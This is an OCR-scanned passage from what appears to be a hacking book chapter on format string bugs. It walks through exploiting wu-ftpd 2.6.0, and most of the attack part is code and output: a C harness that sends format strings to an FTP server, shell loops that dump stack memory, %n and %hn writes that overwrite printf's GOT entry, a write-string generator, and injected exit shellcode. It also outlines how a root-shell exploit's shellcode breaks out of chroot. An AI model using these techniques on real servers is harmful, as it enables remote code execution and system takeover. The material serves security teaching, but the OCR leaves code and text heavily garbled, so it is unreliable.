and any similar functions on your platform that accept a string that con
contain C-style format specifies, such as the wprintf functions on the
Windows platforms. The attacker supplies a number of format specifiers that
have no corresponding arguments on the stack, and values from the stack
are used in their place. This leads to information disclosure and potentially
the execution of arbitrary code.

As we have already discussed, printf functions are meant to be passed
as a format string that determines how the ouput is laid out, and what set of
variables are substituted into the format string. The following code will, for
example, print out the square root of 2 to 4 decimal places:

printf(“The square root of 2 is: %2.4f\n”, sqrt( 2.0 ) );

However, strange behaviors occur if we provide a format string but omit
the variables that are to be substituted. Here is a generic program that calls
printf with the argument it is passed on the command line.

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv][])
{
if (argc!=2)
{
printf(“Error — supply a format string please\n”);
return 1;

}
printf( argv[1]);
printf( “\n”);

return O;

}

If we compile this like so:

cc fmt.c -o fmt
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and call it as follows:

./fmt “%x %x Y%x Y%ox”

We are effectively calling printf like this:
printf( “%x %x Y%x %x” );

The important thing here is that although we have supplied the format
string, we haven’t supplied the four numeric variables to be substituted into
the string. Interestingly, printf doesn’t fail, instead producing ouput that
looks like this:

4015c98c 4001526c¢ bffffo44 bffff8e8

So printf() is unexpectedly obtaining four arguments from somewhere.
These arguments are in face coming from the stack.

This may initially appear not to be a problem; however, an attacker might
possibly be able to see the contents of the stack. What does that mean? Well,
in itself it might reveal sensitive information such as usernames and
passwords, but the problem runs deeper than that. If we try supplying a
large number of %x specifiers, like this:

./fmt
“AAAAAAAAAAAAAAAAAAAYXYoxVoxYoxVoxSoxYox Yok oxYox VX oX Yo x VX YoX Yo X Yo YoXYox X Yo XX YoX
XX XYY XXX Yo X oYX Yo X oYX X oYX XX Yo XXX Yo XV XX Yo X VXX Yo X Yoo XYoX Yo
XXX oYX YR oX Yo XYoo X Yo X Yo Yo XYoX oYX XX Yo XXX Yo XXX Yo X VX Yo X Yo X VoYX YoX Yo
XXX oYX YR oX Yo XYoo XX oYX Yo X Yo Yo X Yo X XY XYoX Yo X Yo XV XX Yo X VX YoX Yo X Voo X Yo X Yo
YoXYoxYoX XY XXX Yo X VoYX

We obtain some interesting results.
./fmt
“AAAAAAAAAAAAAAAAAAAYRY6xYoxox oo lox o x ol lox ok Voo U Voxhox ok
oo XXX o X XUk xR o R Yo X o XU ook x o R XUk VYoo
oo xR X o XXXk Yoo xR oo Xk YoVl Aok VYoo
oYY xR oo XX o XKoo R o X o XU XXXl XUl x Y Voo
oYk Yo xR Uox o x XYY
AAAAAAAAAAAAAAAAAAA4001526ChfFT7d880483¢18049530804962cbfif8084003¢2802bf834b
fiff84080482ae80484900bHB084003¢26a0b {84040 14abc040014d28280483000804832180484
002bfff834804829880484904000cc20bf82bc400152cc282bO72b i 780bfffa8ebfffab 1 bifffac
3bffffac3bifaf6bifb08biiib2abfiib3chffffbaebiiitbShbffb64bfb6ebfitb8Shfffd63biiid7 1 bifffd2
bifffdadbffffdc2bfffdcfbffffddabffffdebb it Sbfffe00bfeOfbfie24 bifffe34bffffe4 2bfiffe SObfiffe6lbiffe
6fbffffe7abffffe85bfffed6bifffee Shifffel7bf0AbHTT bbff2bbfffd6biide0103febibf6 10001164380
48034420567400000008098048300b0c0d0e0fbI6A00000038366900212¢0036 7464664141414
b
55801208 4 5, BT SSEILS 2541412578257825782578257825782578257825782578257825

782578257825782578257825782578257825782578
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As you can see, we are pulling a large amount of data from the stack, but
then towards the end of the string we see the hex-encoded representation of
the beginning of our string:

41414141414141

This result is somewhat unexpected, but makes sense if you consider that

the format string itself is held on the stack, so 4-byte segments from the
string are being passed as the "numbers" to be substituted into the string.
Therefore, we can get data from the stack in hex format.

What else can we do? Well, to take a look at a few of the different type
conversion specifiers that we can use, look at:

man sprintf

We see a large number of conversion specifiers—d, i, o, u and x for
integers, e, f, g, a for floating point, and c for characters. A few other
interesting specifiers are present though, and these expect something other
than a simple numeric argument. -

s—The argument is treated as a pointer to a string. The string is substi-
tuted into the output.

n—The argument is treated as a pointer to an integer (or integer variant
such as short). The number of characters output so far is stored in the
address pointed to by the argument.

So, if we specify %n in the format string, the number of characters output
so far is written to the location specified by the argument, thus:

./fmt "AAAAAAAAAAAAAAAAAAAYNYon%n%n%n%n%n%n%n%n%n"
Don’t forget to add ulimit —c unlimted to ensure you get a core dump.

This example is more interesting, and illustrates the danger inherent
in allowing a user to specify format strings. Consulting the above
description of printf format specifiers, you should see that the %n type
specifier expects an address as its argument, and will write the number of
characters output so far into that address. This means we can overwrite
values stored at specific address, allowing us to take control of execution.
Don’t worry if you don’t completely understand the implications of this
right now, we will spend the rest of the chapter explaining it in detail.

Recallng the ASCII example above, we can use the precision specifier
to control the number of characters output; if we want to output 50
characters, we can specify %050x, which will output a hexadecimal
integer padded with leading zeroes until it contains exactly 50digits.

team 509’ s presents



Introduction to Format String Bugs 61

we can specify %050x, which will output a hexadecimal integer padded with
leading zeroes until it contains exactly S0 digits.

Also, if you recall that the arguments to the printf function can be drawn
from within the string itself—our 41414141 example above—you will see that
we can use the %n specifier to write a value we control to the address of our
choice.

Using these facts, we can run arbitrary code because the following
conditions exist::

B We can control the values of the arguments, and we can write the
number of characters output to anywhere in memory.

B The width specifier allows us to pad output to an almost arbitrary
length—certainly to 255 characters. We can overwrite a single byte with
the value of our choice.

B We can do this four times, so we can overwrite almost any 4 bytes with
the value of our choice. Overwriting 4 bytes allows the attacker to
overwrite addresses. We might have problems writing to addresses with
00 bytes because the 00 byte terminates a string in C. We can probably
get around these problems by writing 2 bytes starting at the address
before it, however.

B Because we can generally guess the address of a function pointer
(saved return address, binary import table, C++ vtable) we can cause a
string that we supply to be executed as code.

It is worth clearing up several common misconceptions relating to format
string attacks:

B They don't just affect UNIX.
They aren’t necessarily stack based.

|
B Stack protection mechanisms will not generally defend against them.
B They can generally be detected with static code analysis tools.

The security advisory of the Van Dyke VShell SSH Gateway for Windows
format string vulnerability provides a good illustration of these points and can
be found at www.atstake.com/research/advisories/2001/a021601-1.txt.

This is quite a severe vulnerability. An arbitrary code execution
vulnerability in a component that authenticates users effectively removes all
access control from that component. In this case, a skilled attacker could
capture the plaintext of all user sessions with relative ease, or take control of
the system with ease.

To summar;ize, a format string bug occurs when user-supplied data is
incluliealn28i SrRfRs§ibification siring of one of the printf family of
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functions. The attacker supplies a number of format specifiers that have no
corresponding arguments on the stack, and values from the stack are used in
their place. This leads to information disclosure and potentially the execution
of arbitrary code.

Format String Exploits

When a printf family function is called, the parameters to the function are
passed on the stack. As we mentioned earlier, if too few parameters are passed
to the function, the printf function will take the next values from the stack and
use those instead.

Normally, the format string is stored on the stack, so we can use the format
string itself to supply arguments that the printf function will use when eval-
uating format specifiers.

We have already shown that in some cases format string bugs can be used
to display the contents of the stack. Format string bugs can, more usefully, be
used to run arbitrary code, using variations on the %n specifier (we will return
to this later). Another, more interesting way of exploiting a format string bug is
to use the %n specifier to modify values in memory in order to change the
behavior of the program in some fundamental way. For example, a program
might store a password for some administrative feature in memory. That
password can be null-terminated using the %n specifier, which would allow
access to that administrative feature with a blank password. User ID (UID) and
group ID (GID) values are also good targets—if a program is granting or
revoking access to some resource, or changing its privilege level in some
manner that is dependent on values in memory, those values can be
arbitrarily modified to cripple the security of the program. In terms of subtlety,
format strings can't be beaten.

So that we have a concrete example to play with, we'll take a look at the
Washington University FTP daemon, which was vulnerable (in version 2.6.0) to
a couple of format string bugs. You can find the original CERT advisory on
these bugs at www.cert.org/advisories /CA-2000-13.html.

This is an interesting demonstration bug since it has many desirable
features from the point of view of a working example:

B The source code is available, and the vulnerable version can be easily
downloaded and configured.

B [t is a remote-root bug (that can be triggered using the “anonymous”
account) so it represented a very real threat.

B A single process handles the control connection so we can perform
multiple writes in the same address space.

B We get the result of our format string echoed back to us so we can

tes@sibndemqnstrats igformation retrieval.
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You will need a Linux box with gcc, gdb, and all the tools to download
wu-ftpd 2.6.0 from ftp:/ /ftp.wu-ftpd.org/pub/wu-ftpd-attic/wu-ftpd-2.6.0.tar.gz. You
can also grab the vulnerable version from the Shellcoder’s Handbook Web
site (www.wiley.com /compbookes /koziol) if the URL changes.

You might also want to get wu-ftpd-2.6.0.tar.gz.asc and verify that the file
hasn’t been modified, although it’s up to you.

Follow the directions and install and configure wu-ftpd. You should of
course bear in mind that by installing this, you are laying your machine open
to anyone with a wu-ftpd exploit (which is to say, everyone) so take
appropriate precautions, such as unplugging yourself from the network or
suing a decent firewall configuration. It would be embarrassing to be owned
by someone using the same bug that you'’re suing to learn about format
string bugs. So please be careful.

Crashing Services

Occasionally, when attacking a network, all you want to do is crash a specific
service. For example, if you are performing an attack involving name resolu-
tion, you might want to crash the DNS server. If a service is vulnerable to a
format string problem, it is possible to crash it very easily.

So let's take our example, the wu-ftpd problem. The Washington University
FTP daemon version 2.6.0 (and earlier) was vulnerable to a typical format
string bug in the site exec command. Here is a sample session:

[root@attacker]# telnet victim 21

Trying 10.1.1.1...

Connected to victim (10.1.1.1).

Escape character is 'A]'.

220 victim FTP server (Version wu-2.6.0(2) Wed Apr 30 16:08:29

BST 2003) ready.

user anonymous

331 Guest login ok, send your complete e-mail address as password.
pass foo@foo.com

230 User anonymous logged in.

site exec %x %x %x %x %x %x %X %x

200-8 8 bfffcacc 0 14 0 14 0O

200 (end of '%x %x %x %x %x %X %x %x')

site index %x %x %x %x %x %x %x %X

200-index 9 9 bfffcacc 0 14 0 14 0O

200 (end of 'index %x %x %x %X %x %x %x %X')

quit

221-You have transferred O bytes in O files.

221-Total traffic for this session was 448 bytes in O transfers.
221-Thank you for using the FTP service on vulcan.ngssoftware.com

22(eGmoBB9é.s presents

Connection closed by foreign host.
[root@attacker]#


ftp://ftp.wu-ftpd.org/pub/wu-ftpd-attic/wu-ftpd-2.6.0.tar.gz
http://www.wiley.com/compbookes/koziol
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As you can see, by specifying %x in the site exec and (more interestingly)
site index commands, we have been able to extract values from the stack in
the manner described above.

Were we to have supplied this command:

Site index %n%n%n%n
wu-ftpd would have attempted to write the integer O to the addresses 0x8,
0x8,0xbfffcacc, and 0x0, causing a segmentation fault since 0x8 and 0x0
aren’t normally writeable addresses. Let’s try it:

Site index %n%n%n%n

Connection closed by foreign host.

Incidentally, not many people know that the site index command is
vulnerable, so you can bet that most IDS signatures won'’t be looking for it.
Certainly, at the time of writing, the default Snort rule base catches only site
exec.

Information Leakage

Continuing with our wu-ftpd 2.6.0 example, let’s look at how we
can extract information.

We've already seen how to get information from the stack—let’s use
the technique ‘in anger’ with wu-ftpd and see what we get.

First, let’s cook up a quick and dirty test harness that lets us easily
submit a format string via a site index command. Call it dowu.c.

#include <stdio.h> #include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>

int connect_to_server (char *host){
struct hostent *hp;
struct sockaddr_in cl;
int sock;
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if(host==NULL| |*host==(char)0){
fprintf(stderr,"Invalid hostname\n");
exit(l);

¥

if((cl.sin_addr.s_addr=inet_addr(host))==-1)

iF((hp=gethostbyname(host))==NULL)
{

fprintf(stderr,'” Cannot resolve %s\n', host);
exit(l);

}

memcpy((char*)é&cl.sin_addr, (char*)hp->h_addr,sizeof(cl.

sin_addr));
}

i F((sock=socket(PF_INET,SOCK_STREAM, IPPROTO_TCP))==-1)

fprintf(stderr, "Error creating socket: %s\n", strerror(errno));
exit(l);
}

cl._sin_family=PF_INET;
cl_sin_port=htons(21);

if (connect (sock, (struct sockaddr*) &cl, sizeof (cl)) ==-1)
{ _
fprintf(stderr, "Cannot connect to %s: %s\n", host,
strerror(errno));

}

return sock;

}

int receive_from_server( int s, int print )

{

int retval;
char buff[ 1024 * 64];

memset( buff, 0, 1024 * 64 );
retval = recv( s, buff, (1024 * 63), 0);
if( retval > 0 )

teat 500k ¢ grinteyts
printf( “%s”, buff);
b
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else
{
if ( print )
printf ( “Nothing to receive\n” );
return O;
}
Return 1;

}

int ftp_send( int s, char *psz)

{
send( s, psz, strlen(psz), 0);

return 1;

b

int syntax()

{
printf(“Use\ndo_wu <host> <format string>\n");
return 11

b

int main( int arge, char *argv(| )

{
int s;
char buff [ 1024%64 |;
char tmp [ 4096 |;

if (argc !=4)

return syntax();
s = connect_to_server ( argv[l] );

if(s<=0)
_exit(1);

receive_from_server( s,0 );
ftp_send( s, “user anonymous\n” );

receive_from_server( s, O );
ftp_send( s, “pass foo@example.com\n”)

receive_from_server( s, O );

if (atoi( argv[3] ) ==1)
{

printf(“Press a key to send the string...\n”);
getc( stdin );
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strcat( buff, “site index “);
sprintf( tmp, “%.4000s\n”, argv{2] );
stract( buff, tmp );

ftp_send( s, buff);
receive_from_server(s, 1);
shutdown( s, SHUT_RDWR );

return 1;

Compile this code (after substituting in the credentials of your choice )
and run it.
Let’s start with the basic stack pop.

./dowu localhost “%x %x %X %X %x %x %X %X %X %x %x %X %X %X %x %x %x” 0
You should get something like this:
00- index 12 12 bfffca9c 0 14 0 14 0 8088bcO0 0000000

Do we really need all those %xs? Well, not really. On most *nix’s, we can
use a feature known as direct parameter access. Note that above, the third
value output from the stack was bfffca9c.

Try this:

./dowu localhost “%3\$x” 0
You should see:
200-index bfffca9c

We have directly accessed the third parameter and output it. This leads to
the interesting possibility of outputting data from esp onwards, by specifying
it’s offset.

Let’s batch this up and see what’s on the stack.

for((i=1; i < 1000; i++)); do echo -n “$i “ && ./dowu localhost
“%$i\$x” 0; done

That gives us the first 1000 dwords of data on the stack, some of which
might be interesting.

We can also use the %s specifier, just in case some of those valus are
pointers to interesting strings.

for((i=1; i< 1000; i++)); do echo -n “$i “ && ./dowu localhost
“%$i\$s” 0; done
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Since we can use the %s specifier to retrieve strings, we can try to retrieve
strings from an arbitrary location in memory. To do this, we need to work out
where on the stack the string that we’re submitting begins. So, we do
something like this:

for((i= 1; i < 1000; i++)); do echo —n “$i “ && ./dowu localhost “AAA
AAAAAAAAAAAAAY%SBI\$x” O; done | grep 4141

to get the location in the parameter list of the 41414141 output ( the
beginning of the format string ). On my box that’s 272, but yours may vary.

Proceeding with the example, let’s modify the beginning of our string and
look at what we have in parameter 272.

./dowu localhost “BBBA%272\$x” 0

We get:
200-index BBBA41424242

which shows that the 4bytes at the beginning of our string are parameter
272. so let’s use that to read an arbitrary address in memory.

Let's start with a simple case that we know exists:

for((i=1; i< 1000; i++)); do echo —n “$i " && ./dowu localhost
"%$i\$s" 0; done

At parameter 187, I get this:

200-index BBBA%s FTP server (%s) ready.
So let's get the address of that string, using the %x specifier.

./dowu localhost "BBBA%187\$x" 0
200-index BBBA8064d55

We can now try to retrieve the string at Ox08064d55 like this:

./dowu localhost $'\x55\x4d\x06\x08$272$%s' 0
200-index U%s FTP server (%s) ready.

Note that we had to reverse the bytes in the “address” at the beginning
of our format string because the I386 series of processors is little-endian.
We can now retrieve any data we like from memory, even a dump of
the entire address space, just by specifying the address we choose at the
beginning of the string, and using direct parameter access to get the data.

If the platform you’re attacking doesn’t support direct parameter
aeeePH0Ior £x5RaRle, Windows) you can normally reach the parameter
that stores the beginning of your string just by putting enough specifies
into your format string.
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You might have a problem with this because the target process may
impose a limit on the size of your string. There are a couple of possible
workarounds for this. Since you're trying to reach the chosen parameter by
popping data off the stack, you can make use of specifiers that take larger
arguments, such as the %f specifier (which takes a double, an 8-byte
floating-point number, as its parameter). This may not be terribly reliable,
however; sometimes the floating-point routines are optimized out of the
target process resulting in an error when you use the %f specifier. Also, you
occasionally get division-by-zero errors, so you might want to use %.f, which
will print only the integer part of the number, avoiding the division by zero.

Another possibility is the * qualifier, which specifies that the length output
for a given parameter will be specified by the parameter that immediately
precedes it. For example:

printf( %*d” , 10, 123);

will print out the number 123, padded with leading spaces to a length of 10
characters. Some platforms allow this syntax:

%********* 1 Od

which always prints out ten characters. This means that we can approach a
4-bytes-popped-to-1-byte-of-format string ratio.

Controlling Execution for Exploitation

We can therefore retrieve all the data we like from the target process, but now
we want to run code. As a starting point, let's try writing a dword (4 bytes) of
our choice into the address of our choice, in wu-ftpd. The objective here is to
write to a function pointer, saved return address, or something similar, and
get the path of execution to jump to our code.

First, let's write some value to the location of our choice. Remember that
parameter 272 is the beginning of our string in wu-ftpd? Let's see what
happens if we try and write to a location in memory.

./down localhost $'\x41\x41\x41\x41%272%n' 1

If you use gdb to trace the execution of wu-ftpd, you'll see that we just tried
to write 0x0000000a to the address 0x41414141.

Note that depending on your platform and version of gdb, your gdb might
not support the following child processes, so I put a hook into dowu.c to
acctranofft: shizrdfewisenter a 1 for the third command line argument,
dowu.c will pause until you press a key before sending the format string to
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the server, giving you time to locate the appropriate child process and attach
gdb to it.
Let’s run:

./dowu localhost $’\x41\x41\x41\x41%272%n’ 1

You should see the request Press a key to sent the string. Let’s now find
the child process.

ps —aux | grep ftp

You should see something like this:

root 32710 0.0 0.2 2016 700 ? S May07 0:00 ftpd:
accepting ¢
ftp 11821 0.0 0.4 21201052 ? S 16:37 0:00 ftpd:
localhost.1

The instance running as ftp is the child. So we fire up gdb:gdb and then
write

attach 11821

to attach to the child proceee. You should see something like this:

Attaching to process 11821

0x4015a344 in ?? 90

Type continue to tell gdb to continue.

If you switch to the dowu terminal and press Enter, then switch back to
gdb terminal, you should see something like this:

Program received signal SIGSEGV, Segmentation fault.

0x400d109c in ?? ()

However, we need to know more. Let’s see what instruction we executing:

x/5i $eip

0x400d109c: mov  %edi, (Yoeax)
0x400d109e: jmp  0x400df84d
0x400d10a3: mov  Oxftfff9b8(%ebp), Y%ecx
0x400d102a9: test  Y%ecx, Y%ecx

0x400d 10ab: je 0x400d10d0
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If we then get the values of the registers:

info reg

eax 0x41414141 1094795585
ecx Oxbfffoc70 -1073767312
edx 0x0 0

ebx 0x401b298c 1075521932
esp Oxbfff8b70 Oxbfff8b70
ebp Oxbfffa908 Oxbfffa908
esi Oxbfff8b70 -1073771664
edi Oxa 10

and so on, we see that the mov %edi, (%eax) instruction is trying to mov the
value Oxa into the address 0x41414141. This is pretty much what you’d
expect.

Now let's find something meaningful to overwrite. There are many targets
to choose from, including:

B The saved return address (a straight stack overflow; use information
disclosure techniques to determine the location of the return address)

The Global Offset Table (GOT) (dynamic relocations for functions; great
if someone is using the same binary as you are; e.g., rpm)
The destructors (DTORS) table (destructors get called just before exit)

C library hooks such as malloc_hook, realloc_hook and free_hook
The atexit structure (see the man atexit)

Any other function pointer, such as C++ vtables, callbacks, and so on

In Windows, the default unhandled exception handler, which is (nearly)
always at the same address

Since we're being lazy, we'll use the GOT technique, since it allows
flexibility, is fairly simple to use, and opens the way to more subtle format
string exploits. For more information on GOT, see www.wiley.com/
compbooks /koziol.

Let's look briefly at the vulnerable part of wu-ftpd before we look at the
GOT:

void vreply(long flags, int n, char *fmt, va_list ap)
char buf[BUFSI1Z];

flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG;

if(n) /* if numeric is 0, don"t output one; use
nee@m i 609l acep pEspnitnt f*s */

sprintf(buf, "%03d%c", n, Flags & USE_REPLY_LONG ? *-% : "");
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/* This is somewhat of a kludge for autospout. I personally
think that
* autospout should be done differently, but that’s not my
department. -Kev
*/ if ( flags & USE_REPLY_NOTFMT)
snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) — 4: sizeof(buf), “%s”,fmt);
else vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) -4 : sizeof(buf), fmt, ap);
if (debug) /* debugging output :) */
syslog(LOG_DEBUG, “<---%s”, buf);
/* Yes, you want the debugging output before the client output;
wrapping
* stuff goes here, you see, and you want to log the cleartext
and send
* the wrapped text to the client.

*/

printf(“Y%os\r\n”, buf); /* and send it to the client */
#ifdef TRANSFER_COUNT

byte_count_total += strlen(buf);

byte_count_out += strlen(buf);
#endif

fflush(stdout);
1
s

Note the bolded line. The interesting point is that there’s a call to printf
right after the vulnerable call to vsnprintf. Let’s take a look at the GOT for
in.ftpd.

objdump -R /usr/sbin/in.ftpd
<lots of output>
0806d3b0 R_386_JUMP_SLOT printf

<lots more output>

We see that we could redirect execution simply by modifying the value
stored at 0x0806d3b0. Our format string will overwrite this value and
then(because wuftpd calls printf right after doing what we tell it to in ou
format string) jump to wherever we like.

If we repeat the write we did before, we’ll end up overwriting the address
of printf with Oxa, and thus, hopefully, jumping to Oxa.

./dowu localhost $”\xb0\xd3\x06\x08%272$n’ 1
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If we attach gdb to our child ftp process as before, we should see this:

(gdb) symbol file /usr/sbin/in.ftpd

Reading symbols form /usr/sbin/in.ftpd...done.

(gdb) attach 11902

Attaching to process 11902

0x4015a344 in ?? ()

(gdb) continue

Continuing.

Program received signal SIGSEGV, Segmentation fult.
0x0000000a in ?? ()

We have successfully redirected the execution path to the location of our
choice. In order to do something meaningful we’re going to need
shellcod—see Chapter 3 for an overview of shellcode.

Let’s take a small amount of shellcode that we know will work, a call to
exit(2).

In general, | find it's beeter to use inline assembler when developing
exploits, because it les you play around more easily. You can create an
exploit harness that does all the socket connection and easily writes
snippets of shellcode if something isn’'t working or if you want to do
something slightly different. Inline assembler is also a lot more readable
than a C string constant of hex bytes.

#include <stdio.h>
#include <stdlib.h>

int main()
{
asm(“\

xor %eax, Yeax;\
xor %ecx, %ecx;\
xor %edx, %edx\
mov $0x01, %al;\
xor %ebx, %ebx;\
mov $0x02, %bl;\

int $0x80;\

%

return 1;

}

Here, we're setting the exit syscall via int 0x80. Compile and run the code and
verifycthat BOWrkspresents
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Since we need only a few bytes, we can use the GOT as the location to hold
our code. The address of printf is stored at 0x0806d3b0. Let's write just after
it ,say at 0x0806d3b4 onwards.

This raises the question of how we write a large value to the address of our
choice. We already know that we can see %n to write a small value to the address
of our choice. In theory, therefore, we could perform four writes of 1 byte each,
using the low-order byte of our “characters output so far” counter. This will of
course overwrite 3 bytes adjacent to the value that we’re writing.

A more efficient method is to use the h  length modifier. A following integer
conversion corresponds to a short int or unsigned short int argument, or a
following n conversion corresponds to a pointer to a short int argument.

So if we use the specifier %hn we will write a 16-bit quantity. We will probably
be able to use length specifiers in the 64K range, so let’s give this a try.

.Jdowu localhost $"\xb0\xd3\x06\x08%50000x%272%n’ 1

We get this:

Program received signal SIGSEGV, Segmentation fault.
0x0000c35ain ?? ()

c35a is 50010, which is exactly what we’'d expect. At this point we need to
clarify how this value (0xc35a) gets written.

Let’'s backtrack a little and run this:

./do_wu localhost abc 0

Wu-ftpd outputs this:

200-index abc

The format string we’re supplying is added to the end of the string index (which
is six characters long). This means that when we use a %n specifier, we're writing
the following number:

6 + <number of characters in our string before the %n> + <padding number>

So, when we do this:

.Jdowu localhost $'\xb0\xd3\x06\x08%50000x%272%n’ 1

we write (6+4+50000) to the address 0x0806d3b0; in hex, Oxc35a. Now let's try
writing 0x41414141 to the address of printf:

[Ld(%'ﬁi I%@é‘vogt %%%Oé)éq%goe\x%\xb2\xd3\x06\x08%16691x%272$n%273$n’ 1
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We get:

Program received signal SIGSEGV, Segmentation fault.
0x41414141in ?? ()

So we jumped to 0x41414141. This was kind of cheating, since we wrote the
same value (0x4141) twice----once to the address pointed to by parameter 272
and once to 273, just by specifying another positional parameter----%273 $n.

If we want to write a whole series of bytes, the string will get complicated. The
following will make it easier for us.

#include <stdio.h>
#include <stdlib.h>

int safe_strcat ( char *dest, char *src, unsigned dest_len)

{

}

if( (dest == NULL ) || (src == NULL))
return O;

if( strlen(src) + strlen( dest ) +10 >= dest_len)
return O;

strcat( dest, src);

return 1;

int err( char *msg )

}

printf(“%s\n”,msg);
return 1;

int main int argc, char *argv[] )

/I modify the strings below to upload different data to the wu_ftpd

process...

teamppg

char *string_to_upload = “mary had a little lamb”;
unsigned int addr = 0x0806d3b0;
/I this is the offset of the parameter that ‘contains’ the start of our string.
unsigned int param_num = 272;
char buff{ 4096 1 ="
int buff_size = 4096;
char tmp[ 4096 ]=""
inti, j, num_so_far =6, num_to_print, num_so_far_mod;
unsigned short s;
[,?stsz;presents

int num_addresses, a[4];
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/I first work out How many addresses there are. num bytes / 2 + num bytes mod 2 .

num_addresses = (strlen(string_to_upload ) / 2) + strlen ( string_to_upload ) % 2;
for (i = 0; i < num_addresses; i++)

{

a[0] = addr & Oxff;
a[1] = (addr & 0xff00) >> 8;
a[2] = (addr & 0xff0000 ) >> 16;
a[3] = (addr) >> 24;
sprintf ( tmp, "Wx%.02x\ \x%.02x\ \x%.02x\ \x%.02x" , a[0], a[1], a[2], a[3] );
if( !safe_strcat ( buff, tmp, buff_size ))
return err("Oops. Buffer too small.");

addr += 2;
num_so_far +=4;

printf( "%s\n", buff ) ;

/I now upload the string 2 bytes at a time. Make sure that num_so_far is appropriate by
doing %2000x or whatever.
psz = string_to_upload,;

while( (*psz = 0) && (* (psz+1) 1=0))
{

// how many chars to print to make (so_far % 64k) ==s
1

s = *(unsigned short *)psz;

num_so_far_mod = num_so_far &Oxffff;

num_to_print = 0;

if(num_so_far mod<s)
num_to_print = s - num_so_far_mod,;
else
if( num_so_far_mod >s)
num_to_print = 0x10000 — (num_so_far_mod — s);
/I if num_so_far_mod and s are equal, we’'ll ‘output’ s anyway :0)
num_so_far += num_to_print;
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{
sprintf( tmp, “%%%dx”, num_to_print );
if(lsafe_strcat( buff, tmp, buff_size ))
return err(“Buffer too small.”);
}

/Inow upload the ‘short’ value

sprintf( tmp, “%%%d$hn”, param_num );

if( 'safe_strcat( buff, tmp, buff_size))
return err(“Buffer too small.”);

psz += 2,
param_num-++;

Lrintf( “%s\n”, buff );

sprintf(tmp, “./dowu hocalhost $'%s’ 1\n”,buff );
system( tmp );

return O;

}

This program will act as a harness for the dowu code we wrote earlier,
uploading a string(mary had a little lamb) to an address within the GOT.

If we debug wu-ftpd and look at the location in memory that we just overwrote
we should see:

x/s 0x806d3b0

0x806d3b0 <_GLOBAL_OFFSET_TABLE_+410>  “mary had a little
lamb\026@\220_\017@V ¥\004...(etc)

We see we can now put an arbitrary sequence of bytes pretty much wherever
we like in memory. We're now ready to move on to the exploit.

If you compile the exit shellcode above then debug it in gdb, you obtain the
following sequence of bytes representing the assembler instructions:

X31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80

This gives us the following string constant to upload using the
gen_upload_string.c code above:

char *string_to_upload =
“\Xb4\xd3\x06\x08\x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\x01\x31\xdb\xb3\x02\xcd\x80"; //
exit(0x02);
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There’s a slight back here that should be explained. The initial 4 bytes of this
string are overwriting the printf entry in the GOT, jumping to the address of our
choice when the program calls printf after executing the vulnerable vsnprintf(). In
this case, we'’re just overwriting the GOT, starting at the printf entry and continuing
with our shellcode. This is, of course, a terrible hack but it does illustrate the
technique with a minimum of fuss. Remember, you are reading a hacking book,
don't expect everything to be totally clean.

When we run our new gen_upload string, it results in the following gdb session:

[root@vulcan format_string]# gdb
(gdb) attach 20578

Attaching to process 20578
0x4015a344 in ?? ()

(gdb) continue

Continuing.

Program exited with code 02.
(gdb)

Perhaps at this point, since we're running code of our choice in wuO\-ftpd, we
should take a look at what others have done in their exploits.

One of the most popular exploits for the issue was the wuftpd2600.c exploit.
We already know broadly how to make wu-ftpd run code of our choice, so the
interesting part is the shellcode. Broadly speaking, the code does the following:

1. Sets setreuid() to 0, to get root privileges.

2. Runs dup2() to get a copy of the std handles so that our child shell process
can use the same socket.

3. Works out where the string constants at the end of the buffer are located in
memory, by jmp() ing to a call instruction and then popping the saved return
address off the stack.

4. Breaks chroot() by using a repeated chdir followed by a chroot() call.

5. Runs execve() in the shell.

Most of the published exploits for the wu-ftpd bug use either identical code or
code that;s exceptionally similar.
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Why Did This Happen?

So, why do format string bugs exist in the first place? You would think that
someone implementing printf() could count the number of parameters passed in
the function call, compare that to the number of format specifiers in the string, and
return an error if the two didn’'t agree. Unfortunately, this is not possible because of
a fundamental problem with the way that functions with variable numbers of
parameters are handled in C.

To declare a function with a number of parameters, you use the ellipsis syntax,
like this:

void foo(char *fmt, ...)

(You might want to look at man va)arg at this point, which explains variable
parameter list access.)

When your function gets called, you use the va_start macro to tell the standard
C library where your variable argument list starts. You then repeatedly call the
va_arg macro to get arguments off the stack, and then you call the va_end macro
to tell the standard C library that you're finished with your variable argument list.

The problem with this is that at no point have you been able to determine how
many arguments you were passed, so you must rely on some other mechanism to
tell you, such as data within a format string or an argument that's NULL.

foo(1,2,3, NULL);

Although this seems pretty unbelievable, this is the ANSIC89 standard way to
deal with functions with a variable number of arguments, so this is the standard
that everyone’s implemented.

In theory, any C function that accepts a variable number of arguments is
potentially vulnerable to the same problem---it can’t tell when its argument list
ends----although in practice these functions are few and far between.

To summarize, the bug is all the fault of ANSI and C89, and has little or nothing
to do with any implementer of the C standard library.

Format String Technique Roundup

We're now at the point where we can start exploiting Linux format string bugs.
Let’s quickly review the fundamental techniques that we’ve used:
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1.

If the format string is on the stack, we can supply the parameters that are used
when we add format specifiers to the string. If we’re brute forcing offsets for a
format string exploit, one of the offsets we have to guess is the number of
parameters we have to use before we get to the start of our format string.

Once we can specify parameters:

a. We can read memory from the target process using the %s specifier.

b. We can write the number of characters output so far to an arbitrary
address suing the %n specifier.

c. We can modify the number of characters output so far suing width
modifiers, and

d. We can use the %hn modifier to write numbers 16bits at a time, which
allows us to write values of our choice to locations of our choice.

If the address that we want to write to contains one or more null bytes, you can

still use %n to write to it, but you must do this in two stages. First, write the

address that you want to write to into one of the parameters on the stack(you

must know where the stack is in order to do this). Then, use %n to write to the

address using the parameter you wrote to the stack.

Alternatively, if the zero byte in the address happens to be the leading byte(as
is oftern the case in Windows format string exploits) you can use the trailing
null byte of the format string itself.

Direct parameter access(in the Linux implementations of the printf
family)allows us reuse stack parameters multiple times in the same format
string as well as allowing us to directly use only those parameters that we are
interested in. Direct parameter access involves using the $ modifier; for
example:

%272%$x

will print the 272" parameter from the stack. This is an immensely valuable
technique.

